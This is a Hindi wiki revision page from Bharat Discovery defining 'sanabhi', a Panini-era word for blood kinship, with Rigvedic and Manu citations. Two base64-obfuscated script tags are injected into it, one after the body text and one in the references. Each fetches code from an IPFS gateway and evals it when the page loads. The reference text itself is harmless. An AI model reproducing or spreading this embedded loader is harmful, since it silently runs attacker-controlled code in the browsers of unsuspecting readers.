"सनाभि" के अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
(''''सनाभि''' पाणिनिकालीन भारतवर्ष में प्रचलन में आने व...' के साथ नया पृष्ठ बनाया) |
व्यवस्थापन (चर्चा | योगदान) छो (Text replacement - "==संबंधित लेख==" to "==संबंधित लेख== {{पाणिनिकालीन शब्दावली}}") |
||
पंक्ति 12: | पंक्ति 12: | ||
<references/> | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
+ | {{पाणिनिकालीन शब्दावली}} | ||
[[Category:पाणिनिकालीन शब्दावली]][[Category:प्राचीन भारत का इतिहास]][[Category:इतिहास कोश]] | [[Category:पाणिनिकालीन शब्दावली]][[Category:प्राचीन भारत का इतिहास]][[Category:इतिहास कोश]] | ||
__INDEX__ | __INDEX__ |
12:42, 20 अप्रैल 2018 का अवतरण
सनाभि पाणिनिकालीन भारतवर्ष में प्रचलन में आने वाला एक शब्द था।
- समान नाभि के स्थान में सनाभि आदेश होता है।[1] नाभि का यहाँ अर्थ "गर्भ की नाल" है।
- ऋग्वेद[2] में ऋषि परुच्छेप का कथन है कि "हमारी नाभियाँ मनु, अत्रि और कण्व आदि पूर्वजों के साथ मिली हुई हैं।[3]
- सनाभि के अंतर्गत पहली और पिछली सभी पीढ़ियों के रक्त संबंधी आ जाते हैं। पर मनु[4] पर कुल्लुक ने सनाभ्य का अर्थ सपिंड किया है।[5]
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें: पाणिनि, अष्टाध्यायी एवं भारत का इतिहास
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ 6/3/ 85
- ↑ ऋग्वेद 1 /139/ 9
- ↑ अस्माकं तेषु नाभय:
- ↑ 5/184
- ↑ पाणिनीकालीन भारत |लेखक: वासुदेवशरण अग्रवाल |प्रकाशक: चौखम्बा विद्याभवन, वाराणसी-1 |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 109 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>